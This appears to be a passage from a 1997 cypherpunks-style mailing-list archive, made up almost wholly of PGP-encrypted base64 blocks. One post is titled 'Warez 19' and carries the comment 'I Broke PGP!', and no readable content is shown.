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
hJlug+fsZFR6JeFc1NaseBqa3JleysHoyQ==
=oAX5
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:57:03 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:57:03 +0800
Subject: Warez 19
Message-ID: <199712180848.AAA16338@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
